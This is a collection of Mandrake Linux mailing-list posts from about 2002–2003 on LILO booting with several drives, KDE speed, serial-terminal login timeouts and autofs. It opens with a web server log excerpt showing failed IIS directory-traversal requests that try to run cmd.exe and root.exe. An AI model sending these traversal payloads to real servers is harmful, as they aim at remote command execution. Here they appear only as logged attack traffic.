1100]"GET/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339 1100]"GET/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339 1100]"GET/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355 1100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 1100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 1100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 1100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 1100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 305 1100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 305 1100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 1100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 1100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 300 1100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 298 Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Lilo with multiple hard drives...
Is lilo installed on hdb? Boot from floppy with hdb removed. linux root=/dev/hdc? ? being partition number. run lilo and reboot to see if it boots from hard drive. Gary. On Monday 10 March 2003 09:34 pm, Mark Watts wrote: > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA1 > > > Ok, answers to questions: > > No, I wasnt using cable select. > > No, I wasnt changing any jumpers. > > This has nothing to do with fstab - that doesnt get processed at the lilo > point. > > > With all 3 drives in, I get a lilo prompt. > > With hdb removed I get LI LI LI LI... > > hdb is NOT mentioned in lilo.conf, so why does removing that drive affect > lilo? > > Cheers. > > Mark. > > > On Friday 07 March 2003 09:33 pm, Gary Hodder wrote: > > > Hi Mark, > > > > > > with the 3 drives in and it boots normally, edit the fstab file and > > > change the hdc? to hdb? > > > ? being the partition number. > > > Change lilo to be hdb instead of hdc. > > > Reboot with a floppy, at lilo promp: linux root=/dev/hdb? > > > ? being the partition number the os is on. > > > Run lilo. > > > Reboot to boot from kernel on harddrive. > > > > > > Gary. > > > > and next time, don't use "cable select" as the way to choice master and > > slave HDs, use the jumpers on the drive itself. > > > > > On Fri, 2003-03-07 at 22:19, Mark Watts wrote: > > > > -BEGIN PGP SIGNED MESSAGE- > > > > Hash: SHA1 > > > > > > > > Hi, > > > > > > > > I have a system with 3 harddrives in it (hda = Windows, hdb = spare > > > > (part XFS, part FAT32) and hdc = Linux (resierfs). > > > > I installed Windows first, followed by 9.0 on hdc, and chose to > > > > install lilo to hda's boot sector. > > > > This has been working just fine since I installed. > > > > I've come to a point where I'm moving hdb out of the system... > > > > Whenever I remove it, I get the ubiquitos LI LI LI LI LI across the > > > > screen, indicating that lilo is toast. Putting the drive back makes > > > > everything work as before. > > > > > > > > 2 questions: > > > > > > > > 1) Should lilo really be doing this, bearing in mind that hdb isnt > > > > mentioned in lilo.conf (It has an old 8.2 install I havent removed > > > > yet on it, but I'd have to make a boot disk to boot from it). > > > > > > > > 2) If I re-reun lilo (from a rescue cd and chrooting stuff) without > > > > changing lilo.conf, will that fix the LI LI LI issue? > > > > > > > > Cheers, > > > > > > > > Mark. > > > > > > > > - -- > > > > Mark Watts > > > > Systems Engineer > > > > QinetiQ TIM > > > > St Andrews Road, Malvern > > > > GPG Public Key available on request. > > > > -BEGIN PGP SIGNATURE- > > > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > > > > > iD8DBQE+aIA5Bn4EFUVUIO0RAhuvAKCzIzCZDqFlr6+RWzdSEmrpglnB8QCgxetA > > > > gfpHOl0qRleNXs2VLEiSQcY= > > > > =wfFV > > > > -END PGP SIGNATURE- > > > > > > > > > > > > > > > > > > > > > > > > Want to buy your Pack or Services from MandrakeSoft? > > > > Go to http://www.mandrakestore.com > > - -- > Mark Watts > Systems Engineer > QinetiQ TIM > St Andrews Road, Malvern > GPG Public Key available on request. > -BEGIN PGP SIGNATURE- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE+bGpLBn4EFUVUIO0RAkDeAJ0WLGqDCacQRyYIE0O2qNY5kCZ6BgCeNPsc > S+knuDCAmZocwoLKJ8l15tU= > =11Y0 > -END PGP SIGNATURE- Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[expert] KDE very slow in mdk9.1
Hi all, my son's just loaded mdk 9.1 on his machine and finds kde runs very slow, much slower than 9.0. The machine is a celeron 400 with 96mb ram. I wont find out more till I get home. Are there any ideas that he could try in the mean time? Thanks Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Lilo with multiple hard drives...
Hi Mark, with the 3 drives in and it boots normally, edit the fstab file and change the hdc? to hdb? ? being the partition number. Change lilo to be hdb instead of hdc. Reboot with a floppy, at lilo promp: linux root=/dev/hdb? ? being the partition number the os is on. Run lilo. Reboot to boot from kernel on harddrive. Gary. On Fri, 2003-03-07 at 22:19, Mark Watts wrote: > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA1 > > Hi, > > I have a system with 3 harddrives in it (hda = Windows, hdb = spare (part XFS, > part FAT32) and hdc = Linux (resierfs). > I installed Windows first, followed by 9.0 on hdc, and chose to install lilo > to hda's boot sector. > This has been working just fine since I installed. > I've come to a point where I'm moving hdb out of the system... > Whenever I remove it, I get the ubiquitos LI LI LI LI LI across the screen, > indicating that lilo is toast. Putting the drive back makes everything work > as before. > > 2 questions: > > 1) Should lilo really be doing this, bearing in mind that hdb isnt mentioned > in lilo.conf (It has an old 8.2 install I havent removed yet on it, but I'd > have to make a boot disk to boot from it). > > 2) If I re-reun lilo (from a rescue cd and chrooting stuff) without changing > lilo.conf, will that fix the LI LI LI issue? > > Cheers, > > Mark. > > - -- > Mark Watts > Systems Engineer > QinetiQ TIM > St Andrews Road, Malvern > GPG Public Key available on request. > -BEGIN PGP SIGNATURE- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE+aIA5Bn4EFUVUIO0RAhuvAKCzIzCZDqFlr6+RWzdSEmrpglnB8QCgxetA > gfpHOl0qRleNXs2VLEiSQcY= > =wfFV > -END PGP SIGNATURE- > > > > > Want to buy your Pack or Services from MandrakeSoft? > Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Root login timeout
Hi James, the security level is standard and carnt go lower in MCC. The security permissions is level 2. Just did a telnet from another box and it hasnt timed out where the dumb terminal has, looks like its a agetty thing. Tried S1:345:respawn:/sbin/agetty -t 28800 9600 ttyS1 but that didn't work either. Gary. On Sun, 2002-10-27 at 13:28, James Sparenberg wrote: > Someone had mentioned once that the highest setting in msec actually has > a login timeout. Backing off the highest level or changeing the setting > in /etc/msec should help. > > James > > (My cure for msec problems is a bit more drastic... rpm -e msec *grin*) > > On Sat, 2002-10-26 at 10:30, Dianne Marie Montesa wrote: > > hi gary > > > > okay its a global setting since it affects both root > > and others. what is your security setting? how about > > trying to lower the security level just to test > > whether this also happens. > > > > im running out of ideas ... its already draining my > > 1/8 brain =P > > > > cheers > > dianne > > > > --- Gary Hodder <[EMAIL PROTECTED]> wrote: > > > Hi Dianne, > > > > > > logging out happens for root and other users. > > > Leaving it at a login prompt and not logging in, it > > > recycles the login > > > prompt with another. > > > So if you login and do nothing it logs out after a > > > 15 minutes. > > > This behavior did not happen in 8.2, its only in 9. > > > > > > Gary. > > > > > > On Sat, 2002-10-26 at 00:09, Dianne Marie Montesa > > > wrote: > > > > hi gary > > > > > > > > not sure what is really happening on your system. > > > i > > > > dont have a serial dumb terminal to simulate it. > > > but > > > > maybe i can help you troubleshoot whats causing > > > it. > > > > > > > > and i think it has nothing to do with agetty since > > > you > > > > already passed stage after you logged in. the > > > problem > > > > could be some setting after you logged in. > > > > > > > > does the logging out only happen to root user? > > > > are you logged-out by the system even if you dont > > > run > > > > the menu script you mentioned? > > > > have you checked that menu script whether it has a > > > > timeout set? > > > > > > > > hth > > > > dianne > > > > > > > > > > > > --- Gary Hodder <[EMAIL PROTECTED]> wrote: > > > > > Hi Dianne, > > > > > > > > > > I have checked checked bash --verbose and > > > TMOUT=0 > > > > > The timeout only happens on the dumb terminal > > > > > plugged in via a serial > > > > > port and not on the console. > > > > > Have tried adding a long timeout on the agetty > > > > > command line in inattab > > > > > with no luck. > > > > > What else can I try? > > > > > > > > > > Thanks > > > > > Gary. > > > > > > > > > > > > > > > > > __ > > > > Do you Yahoo!? > > > > Y! Web Hosting - Let the expert host your web site > > > > http://webhosting.yahoo.com/ > > > > > > > > > > > > > > > > > > > Want to buy your Pack or Services from > > > MandrakeSoft? > > > > Go to http://www.mandrakestore.com > > > > > > > > > > > > > Want to buy your Pack or Services from > > MandrakeSoft? > > > > > > Go to http://www.mandrakestore.com > > > > > > > > > __ > > Do you Yahoo!? > > Y! Web Hosting - Let the expert host your web site > > http://webhosting.yahoo.com/ > > > > > > > > > Want to buy your Pack or Services from MandrakeSoft? > > Go to http://www.mandrakestore.com > > > > > > Want to buy your Pack or Services from MandrakeSoft? > Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Root login timeout
Hi Dianne, logging out happens for root and other users. Leaving it at a login prompt and not logging in, it recycles the login prompt with another. So if you login and do nothing it logs out after a 15 minutes. This behavior did not happen in 8.2, its only in 9. Gary. On Sat, 2002-10-26 at 00:09, Dianne Marie Montesa wrote: > hi gary > > not sure what is really happening on your system. i > dont have a serial dumb terminal to simulate it. but > maybe i can help you troubleshoot whats causing it. > > and i think it has nothing to do with agetty since you > already passed stage after you logged in. the problem > could be some setting after you logged in. > > does the logging out only happen to root user? > are you logged-out by the system even if you dont run > the menu script you mentioned? > have you checked that menu script whether it has a > timeout set? > > hth > dianne > > > --- Gary Hodder <[EMAIL PROTECTED]> wrote: > > Hi Dianne, > > > > I have checked checked bash --verbose and TMOUT=0 > > The timeout only happens on the dumb terminal > > plugged in via a serial > > port and not on the console. > > Have tried adding a long timeout on the agetty > > command line in inattab > > with no luck. > > What else can I try? > > > > Thanks > > Gary. > > > > > __ > Do you Yahoo!? > Y! Web Hosting - Let the expert host your web site > http://webhosting.yahoo.com/ > > > > Want to buy your Pack or Services from MandrakeSoft? > Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] autofs not unmounting
I tried the below On Thu, 2002-10-24 at 06:10, Bryan Whitehead wrote: > Milos Prudek wrote: > > Hi, > > > > I was looking forward to use supermount but it does not work very well > > in Mandrake 9.0. Details in separate post. So I tried autofs. > > > > Autofs in Mandrake 9.0 mounts drives automatically, but does not unmount > > them when timeout expires. They must by umounted manually. > > > > auto.master: > > /mnt/etc/auto.drives --timeout=20 > > Ignore bropken man pages and do this: > Did this for auto.master > /mnt/etc/auto.drives --timeout 20 > > the = doesn't work. use a space. > > I have over 20 linux workstations with autofs working fine. Took awile > to track down this problem. > > Did this for auto.drive > > auto.drives: > > cdrom -fstype=iso9660,ro,nosuid,nodev :/dev/cdrom > > floppy -fstype=auto,user,rw:/dev/fd0 Started autofs and all the mount points under /mnt had disappeared making it impossible to go to say the cdrom using mc. Also is there a fix for the cdrom and floppy icons on the desktop to work? Currently got everything back on manual mounting. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Root login timeout
Hi Dianne, I have checked checked bash --verbose and TMOUT=0 The timeout only happens on the dumb terminal plugged in via a serial port and not on the console. Have tried adding a long timeout on the agetty command line in inattab with no luck. What else can I try? Thanks Gary. On Thu, 2002-10-24 at 22:38, Dianne Marie Montesa wrote: > hi gary > > check out an environment variable TMOUT from your > system's /etc/profile or your own profile ~/.profile. > > its the one that controls logging out when there was > no activity for a period of time. > > man bash to know more about it. > > hth > dianne > > --- Gary Hodder <[EMAIL PROTECTED]> wrote: > > Hi all, > > > > I use a dumb terminal to login and run a menu script > > as root. > > After a short period of no activity the session is > > automatically logged > > out. > > How can I stop this or increase the time before auto > > logout? > > > > Thanks > > Gary. > > > > > > > > > > > > > Want to buy your Pack or Services from > MandrakeSoft? > > > > Go to http://www.mandrakestore.com > > > > > __ > Do you Yahoo!? > Y! Web Hosting - Let the expert host your web site > http://webhosting.yahoo.com/ > > > > Want to buy your Pack or Services from MandrakeSoft? > Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[expert] Root login timeout
Hi all, I use a dumb terminal to login and run a menu script as root. After a short period of no activity the session is automatically logged out. How can I stop this or increase the time before auto logout? Thanks Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Probelms on shutting
Hi Thomas, I had this problem to. First I disables the autofs in the run levels. Kill the 2 proccess's that were made by autofs, ones a /net mount. This will remove them from mtab. Comment out the 2 lines in auto.master. This will allow it to shutdown properly and restart without trying to fsck it to death. Thats as far as I got as I am not at home to look more. Hope that helps. Gary. On Sat, 2002-10-05 at 05:52, Thomas Satzinger wrote: > The following error msg keeps my system from shutting down properly > > Okt 4 11:18:56 localhost umount: Cannot MOUNTPROG RPC: RPC: Program not > registered > Okt 4 11:18:56 localhost umount: umount2: Device or resource busy > Okt 4 11:18:56 localhost umount: umount: /net: Das Gerät wird momentan noch > benutzt > Okt 4 11:18:56 localhost netfs: NFS Dateisysteme aushängen: failed > > > Can anybody tell me whats going wrong here? > > Thanks > Thomas > > > > Want to buy your Pack or Services from MandrakeSoft? > Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
